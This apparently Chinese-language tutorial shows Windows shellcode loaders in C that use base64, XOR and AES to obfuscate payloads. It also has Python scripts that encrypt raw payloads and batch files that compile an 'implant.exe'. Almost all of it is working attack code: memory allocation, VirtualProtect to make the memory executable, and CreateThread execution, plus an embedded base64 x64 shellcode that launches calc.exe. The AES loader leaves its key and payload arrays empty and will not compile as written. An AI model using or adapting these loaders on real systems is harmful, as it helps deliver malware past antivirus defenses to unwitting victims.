image.png

payload-encoding-base64

生成payload bin文件后,certutil -encode calc.bin calc.b64 粘贴编码后的文件到代码里
image.png

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <Wincrypt.h>
  6. #pragma comment (lib, "Crypt32.lib")
  7. unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
  8. unsigned int calc_len = sizeof(calc_payload);
  9. int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {
  10. DWORD outLen;
  11. BOOL fRet;
  12. outLen = dstLen;
  13. fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
  14. if (!fRet) outLen = 0; // failed
  15. return( outLen );
  16. }
  17. int main(void) {
  18. void * exec_mem;
  19. BOOL rv;
  20. HANDLE th;
  21. DWORD oldprotect = 0;
  22. // Allocate new memory buffer for payload
  23. exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  24. printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
  25. printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  26. printf("\nHit me 1st!\n");
  27. getchar();
  28. // Decode the payload back to binary form
  29. DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);
  30. // Make the buffer executable
  31. rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
  32. printf("\nHit me 2nd!\n");
  33. getchar();
  34. // If all good, execute!
  35. if ( rv != 0 ) {
  36. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  37. WaitForSingleObject(th, -1);
  38. }
  39. return 0;
  40. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

payload-Encryption

XOR

  1. import sys
  2. KEY = "mysecretkeee"
  3. def xor(data, key):
  4. key = str(key)
  5. l = len(key)
  6. output_str = ""
  7. for i in range(len(data)):
  8. current = data[i]
  9. current_key = key[i % len(key)]
  10. output_str += chr(ord(current) ^ ord(current_key))
  11. return output_str
  12. def printCiphertext(ciphertext):
  13. print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
  14. try:
  15. plaintext = open(sys.argv[1], "rb").read()
  16. except:
  17. print("File argument needed! %s <raw payload file>" % sys.argv[0])
  18. sys.exit()
  19. ciphertext = xor(plaintext, KEY)
  20. print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. void XOR(char * data, size_t data_len, char * key, size_t key_len) {
  6. int j;
  7. j = 0;
  8. for (int i = 0; i < data_len; i++) {
  9. if (j == key_len - 1) j = 0;
  10. data[i] = data[i] ^ key[j];
  11. j++;
  12. }
  13. }
  14. int main(void) {
  15. void * exec_mem;
  16. BOOL rv;
  17. HANDLE th;
  18. DWORD oldprotect = 0;
  19. unsigned char calc_payload[] = {
  20. 0x91,
  21. 0x90
  22. };//
  23. unsigned int calc_len = sizeof(calc_payload);
  24. char key[] = "mysecretkeee";
  25. // Allocate a buffer for payload
  26. exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  27. printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
  28. printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  29. printf("\nHit me 1st!\n");
  30. getchar();
  31. // Decrypt (DeXOR) the payload
  32. XOR((char *) calc_payload, calc_len, key, sizeof(key));
  33. // Copy the payload to allocated buffer
  34. RtlMoveMemory(exec_mem, calc_payload, calc_len);
  35. // Make the buffer executable
  36. rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
  37. printf("\nHit me 2nd!\n");
  38. getchar();
  39. // If all good, launch the payload
  40. if ( rv != 0 ) {
  41. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  42. WaitForSingleObject(th, -1);
  43. }
  44. return 0;
  45. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

AES

  1. import sys
  2. from Crypto.Cipher import AES
  3. from os import urandom
  4. import hashlib
  5. KEY = urandom(16)
  6. def pad(s):
  7. return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
  8. def aesenc(plaintext, key):
  9. k = hashlib.sha256(key).digest()
  10. iv = 16 * '\x00'
  11. plaintext = pad(plaintext)
  12. cipher = AES.new(k, AES.MODE_CBC, iv)
  13. return cipher.encrypt(bytes(plaintext))
  14. try:
  15. plaintext = open(sys.argv[1], "r").read()
  16. except:
  17. print("File argument needed! %s <raw payload file>" % sys.argv[0])
  18. sys.exit()
  19. ciphertext = aesenc(plaintext, KEY)
  20. print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
  21. print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <wincrypt.h>
  6. #pragma comment (lib, "crypt32.lib")
  7. #pragma comment (lib, "advapi32")
  8. #include <psapi.h>
  9. int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
  10. HCRYPTPROV hProv;
  11. HCRYPTHASH hHash;
  12. HCRYPTKEY hKey;
  13. if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
  14. return -1;
  15. }
  16. if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
  17. return -1;
  18. }
  19. if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
  20. return -1;
  21. }
  22. if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
  23. return -1;
  24. }
  25. if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
  26. return -1;
  27. }
  28. CryptReleaseContext(hProv, 0);
  29. CryptDestroyHash(hHash);
  30. CryptDestroyKey(hKey);
  31. return 0;
  32. }
  33. int main(void) {
  34. void * exec_mem;
  35. BOOL rv;
  36. HANDLE th;
  37. DWORD oldprotect = 0;
  38. char key[] =
  39. unsigned char calc_payload[] =
  40. unsigned int calc_len = sizeof(calc_payload);
  41. // Allocate memory for payload
  42. exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  43. printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
  44. printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  45. printf("\nHit me 1st!\n");
  46. getchar();
  47. // Decrypt payload
  48. AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
  49. // Copy payload to allocated buffer
  50. RtlMoveMemory(exec_mem, calc_payload, calc_len);
  51. // Make the buffer executable
  52. rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
  53. printf("\nHit me 2nd!\n");
  54. getchar();
  55. // If all good, launch the payload
  56. if ( rv != 0 ) {
  57. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  58. WaitForSingleObject(th, -1);
  59. }
  60. return 0;
  61. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64